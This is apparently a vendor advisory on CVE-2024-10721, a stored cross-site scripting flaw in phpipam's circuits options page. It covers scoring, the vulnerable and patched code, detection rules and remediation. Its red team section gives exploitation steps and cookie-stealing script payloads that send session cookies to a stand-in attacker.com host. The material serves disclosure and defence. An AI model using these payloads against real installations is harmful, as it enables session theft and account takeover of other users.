CVE-2024-10721

Executive Summary

CVE-2024-10721 is a stored cross-site scripting (XSS) vulnerability in phpipam version 1.5.2, a popular open-source IP address management (IPAM) tool. The vulnerability resides in the circuits options page (/tools/circuits/options/), allowing an authenticated attacker with low privileges to inject malicious scripts. When other users view the affected page, the injected script executes in their browser context, potentially leading to cookie theft, account takeover, or redirection to malicious sites. The vulnerability has been patched in version 1.7.0. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched instances.

Supply Chain & Package Security

phpipam is a PHP-based application distributed via GitHub and Docker. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their phpipam installation by checking the source against the official repository and ensuring no unauthorized modifications exist.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a valid user account
• User Interaction: Required (UI:R) – victim must view the compromised page
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – potential cookie theft
• Integrity Impact: Low (I:L) – script injection
• Availability Impact: None (A:N)

Threat Level: Low. The requirement for authentication and user interaction reduces the immediate risk, but stored XSS can be leveraged for targeted attacks against administrators or other users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the circuits options page. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the browser. An attacker can inject arbitrary HTML and JavaScript, which is executed when any user visits the affected page.

Attack Flow:

1. Attacker logs in with a low-privilege account.
2. Attacker navigates to /tools/circuits/options/ and injects a malicious payload (e.g., <script>alert('XSS')</script>) into an input field (likely a circuit option name or description).
3. The payload is stored in the database without sanitization.
4. When an administrator or other user visits the same page, the payload executes in their browser.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or redirect them to a phishing site.

Root Cause: Lack of output encoding or input validation on the circuits options page. The application likely uses echo or similar without htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.5.2):

// In circuits options page, likely in a file like app/tools/circuits/options/index.php
echo "<td>" . $option['name'] . "</td>";

The $option['name'] is directly output without escaping, allowing script injection.

Patched Code (phpipam 1.7.0):

// Patched version uses htmlspecialchars to escape output
echo "<td>" . htmlspecialchars($option['name'], ENT_QUOTES, 'UTF-8') . "</td>";

The htmlspecialchars() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A phpipam instance version 1.5.2 (or earlier)
• Valid user credentials (low privilege)
• Access to the circuits options page

Exploitation Steps:

1. Log in to phpipam.
2. Navigate to https://target/tools/circuits/options/.
3. In the "Name" field of a new circuit option, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the option.
5. Wait for an administrator or other user to view the circuits options page.
6. The victim's cookies are sent to the attacker's server.

Alternative Payload (Steal Cookies via Fetch):

<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

Note: No public exploit-db code is available for this CVE.

Blue Team

Detection:

• Monitor web server logs for requests to /tools/circuits/options/ with unusual parameters containing <script> or onerror patterns.
• Use WAF rules to block common XSS payloads in POST requests to that endpoint.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search database for stored XSS payloads in circuit options tables.
• Review application logs for failed login attempts followed by circuit option modifications.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from the phpipam server.
  • Suspicious parameters in POST requests to /tools/circuits/options/ containing <script>, onerror, onload, etc.
• Host:
  • Unexpected entries in the circuitOptions database table with HTML/JavaScript content.
  • Modified files in the phpipam installation directory (check file integrity).
• Logs:
  • Web server logs showing requests to /tools/circuits/options/ with encoded or raw XSS payloads.

Detection Engineering

YARA Rule

rule phpipam_stored_xss_cve_2024_10721 {
    meta:
        description = "Detects stored XSS payloads in phpipam circuit options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10721"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in phpipam Circuits Options
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts on phpipam circuits options page
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/tools/circuits/options/*'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10721 phpipam Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/tools/circuits/options/"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade phpipam to version 1.7.0 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads on the circuits options page.
3. Restrict access to the circuits options page to trusted administrators only.

Long-term:

1. Implement input validation and output encoding throughout the application.
2. Use a Content Security Policy (CSP) header to mitigate XSS impact.
3. Conduct regular security audits and penetration testing.
4. Monitor for new CVEs and apply patches promptly.

Workaround:

• Disable the circuits options feature if not needed by modifying the application code or using .htaccess to deny access to /tools/circuits/options/.

Valters IT
Securing Digital Infrastructure